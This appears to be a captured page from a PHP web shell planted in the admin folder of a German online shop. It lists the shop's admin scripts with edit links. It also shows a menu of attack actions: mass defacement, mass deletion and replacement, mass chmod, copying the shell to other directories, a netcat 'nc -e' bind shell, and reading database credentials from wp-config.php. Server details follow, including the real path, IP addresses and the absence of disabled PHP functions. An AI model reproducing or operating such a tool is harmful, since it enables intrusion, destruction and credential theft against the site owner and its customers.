gm_module_export.php 2013-11-12 20:5213.28 KB 76129f60960:kunden-xw-x-----
edt
gm_module_part_export.php 2013-11-12 20:523.73 KB 76129f60960:kunden-xw-x-----
edt
gm_offline.php 2013-11-12 20:524.29 KB 76129f60960:kunden-xw-x-----
edt
gm_opensearch.php 2013-11-12 20:523.18 KB 76129f60960:kunden-xw-x-----
edt
gm_opensearch_action.php 2013-11-12 20:522.15 KB 76129f60960:kunden-xw-x-----
edt
gm_order_menu.php 2013-11-12 20:529.18 KB 76129f60960:kunden-xw-x-----
edt
gm_pdf.php 2013-11-12 20:525.99 KB 76129f60960:kunden-xw-x-----
edt
gm_pdf_action.php 2013-11-12 20:528.83 KB 76129f60960:kunden-xw-x-----
edt
gm_pdf_order.php 2013-11-12 20:5223.01 KB 76129f60960:kunden-xw-x-----
edt
gm_product_export.php 2013-11-12 20:534.53 KB 76129f60960:kunden-xw-x-----
edt
gm_scroller.php 2013-11-12 20:526.52 KB 76129f60960:kunden-xw-x-----
edt
gm_security.php 2013-11-12 20:5210.91 KB 76129f60960:kunden-xw-x-----
edt
gm_send_order.php 2013-11-12 20:528.77 KB 76129f60960:kunden-xw-x-----
edt
gm_seo_boost.php 2013-11-12 20:525.77 KB 76129f60960:kunden-xw-x-----
edt
gm_sitemap.php 2013-11-12 20:524.83 KB 76129f60960:kunden-xw-x-----
edt
gm_sitemap_creator.php 2013-11-12 20:531.19 KB 76129f60960:kunden-xw-x-----
edt
gm_slider.php 2013-11-12 20:5328.49 KB 76129f60960:kunden-xw-x-----
edt
gm_sql.php 2013-11-12 20:526.84 KB 76129f60960:kunden-xw-x-----
edt
gm_statusbar.php 2013-11-12 20:526.46 KB 76129f60960:kunden-xw-x-----
edt
gm_style_edit.php 2013-11-12 20:5250.56 KB 76129f60960:kunden-xw-x-----
edt
gm_trusted_info.php 2013-11-12 20:527.41 KB 76129f60960:kunden-xw-x-----
edt
gm_trusted_shop_id.php 2013-11-12 20:526.32 KB 76129f60960:kunden-xw-x-----
edt
gm_trusted_shops_widget.php 2013-11-12 20:529.44 KB 76129f60960:kunden-xw-x-----
edt
gv_mail.php 2013-11-12 20:5217.47 KB 76129f60960:kunden-xw-x-----
edt
gv_queue.php 2013-11-12 20:5211.83 KB 76129f60960:kunden-xw-x-----
edt
gv_sent.php 2013-11-12 20:528.71 KB 76129f60960:kunden-xw-x-----
edt
index.php 2013-11-12 20:521.03 KB 76129f60960:kunden-xw-x-----
edt
interkurierConnect.php 2013-11-12 20:525.77 KB 76129f60960:kunden-xw-x-----
edt
languages.php 2013-11-12 20:5330.67 KB 76129f60960:kunden-xw-x-----
edt
lettr_de.php 2013-11-12 20:528.03 KB 76129f60960:kunden-xw-x-----
edt
listcategories.php 2013-11-12 20:532.8 KB 76129f60960:kunden-xw-x-----
edt
listproducts.php 2013-11-12 20:522.9 KB 76129f60960:kunden-xw-x-----
edt
magnabundle.dat 2013-11-12 20:536 B 76129f60960:kunden-xw-x-----
edt
magnalister.php 2013-11-12 20:5210.24 KB 76129f60960:kunden-xw-x-----
edt
mail.php 2013-11-12 20:5212.89 KB 76129f60960:kunden-xw-x-----
edt
manufacturers.php 2013-11-12 20:5216.46 KB 76129f60960:kunden-xw-x-----
edt
mediafinanz.php 2013-11-12 20:524.53 KB 76129f60960:kunden-xw-x-----
edt
minisql.php 2013-11-12 20:522.84 KB 76129f60960:kunden-xw-x-----
edt
mobile.php 2013-11-12 20:5211.7 KB 76129f60960:kunden-xw-x-----
edt
module_export.php 2013-11-12 20:5213.5 KB 76129f60960:kunden-xw-x-----
edt
module_newsletter.php 2013-11-12 20:5227.89 KB 76129f60960:kunden-xw-x-----
edt
modules.php 2013-11-12 20:5211.26 KB 76129f60960:kunden-xw-x-----
edt
nc_clickandbuy.php 2013-11-12 20:528.58 KB 76129f60960:kunden-xw-x-----
edt
new_attributes.php 2013-11-12 20:525.39 KB 76129f60960:kunden-xw-x-----
edt
orders.php 2013-11-12 20:5272.31 KB 76129f60960:kunden-xw-x-----
edt
orders_actions.php 2013-11-12 20:52337 B 76129f60960:kunden-xw-x-----
edt
orders_edit.php 2013-11-12 20:5239.75 KB 76129f60960:kunden-xw-x-----
edt
orders_edit_address.php 2013-11-12 20:526.49 KB 76129f60960:kunden-xw-x-----
edt
orders_edit_options.php 2013-11-12 20:525.92 KB 76129f60960:kunden-xw-x-----
edt
orders_edit_other.php 2013-11-12 20:5311 KB 76129f60960:kunden-xw-x-----
edt
orders_edit_products.php 2013-11-12 20:526.94 KB 76129f60960:kunden-xw-x-----
edt
orders_status.php 2013-11-12 20:5216.09 KB 76129f60960:kunden-xw-x-----
edt
paypal.php 2013-11-12 20:5310.52 KB 76129f60960:kunden-xw-x-----
edt
phpminiadmin.php 2013-11-12 20:5329.89 KB 76129f60960:kunden-xw-x-----
edt
popup_image.php 2013-11-12 20:521.91 KB 76129f60960:kunden-xw-x-----
edt
popup_memo.php 2013-11-12 20:525.54 KB 76129f60960:kunden-xw-x-----
edt
print_order.php 2013-11-12 20:525.62 KB 76129f60960:kunden-xw-x-----
edt
print_packingslip.php 2013-11-12 20:525.65 KB 76129f60960:kunden-xw-x-----
edt
products_attributes.php 2013-11-12 20:5251.66 KB 76129f60960:kunden-xw-x-----
edt
products_expected.php 2013-11-12 20:526.71 KB 76129f60960:kunden-xw-x-----
edt
products_vpe.php 2013-11-12 20:5215.16 KB 76129f60960:kunden-xw-x-----
edt
properties.php 2013-11-12 20:522.92 KB 76129f60960:kunden-xw-x-----
edt
properties_combis.php 2013-11-12 20:533.66 KB 76129f60960:kunden-xw-x-----
edt
quantity_units.php 2013-11-12 20:5311.43 KB 76129f60960:kunden-xw-x-----
edt
request_port.php 2013-11-12 20:5210.4 KB 76129f60960:kunden-xw-x-----
edt
reviews.php 2013-11-12 20:5219.72 KB 76129f60960:kunden-xw-x-----
edt
robots_download.php 2013-11-12 20:534.47 KB 76129f60960:kunden-xw-x-----
edt
saferpay.php 2013-11-12 20:5212.76 KB 76129f60960:kunden-xw-x-----
edt
server_info.php 2013-11-12 20:527.16 KB 76129f60960:kunden-xw-x-----
edt
shipping_status.php 2013-11-12 20:5223.12 KB 76129f60960:kunden-xw-x-----
edt
shopgate.php 2013-11-12 20:52135 B 76129f60960:kunden-xw-x-----
edt
show_logs.php 2013-11-12 20:539.77 KB 76129f60960:kunden-xw-x-----
edt
specials.php 2013-11-12 20:5222.29 KB 76129f60960:kunden-xw-x-----
edt
start.php 2013-11-12 20:5211.76 KB 76129f60960:kunden-xw-x-----
edt
stats_campaigns.php 2013-11-12 20:5213.39 KB 76129f60960:kunden-xw-x-----
edt
stats_customers.php 2013-11-12 20:525.48 KB 76129f60960:kunden-xw-x-----
edt
stats_products_purchased.php 2013-11-12 20:525.1 KB 76129f60960:kunden-xw-x-----
edt
stats_products_viewed.php 2013-11-12 20:524.78 KB 76129f60960:kunden-xw-x-----
edt
stats_sales_report.php 2013-11-12 20:5220.98 KB 76129f60960:kunden-xw-x-----
edt
stats_stock_warning.php 2013-11-12 20:534.94 KB 76129f60960:kunden-xw-x-----
edt
tax_classes.php 2013-11-12 20:5211.43 KB 76129f60960:kunden-xw-x-----
edt
tax_rates.php 2013-11-12 20:5313.6 KB 76129f60960:kunden-xw-x-----
edt
template_configuration.php 2013-11-12 20:5240.73 KB 76129f60960:kunden-xw-x-----
edt
validcategories.php 2013-11-12 20:522.62 KB 76129f60960:kunden-xw-x-----
edt
validproducts.php 2013-11-12 20:532.8 KB 76129f60960:kunden-xw-x-----
edt
whos_online.php 2013-11-12 20:528.05 KB 76129f60960:kunden-xw-x-----
edt
xtbooster.php 2013-11-12 20:52137.04 KB 76129f60960:kunden-xw-x-----
edt
yatego.php 2013-11-12 20:5216.33 KB 76129f60960:kunden-xw-x-----
edt
yoochoose.php 2013-11-12 20:5212.85 KB 76129f60960:kunden-xw-x-----
edt
zones.php 2013-11-12 20:5211.57 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/admin
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK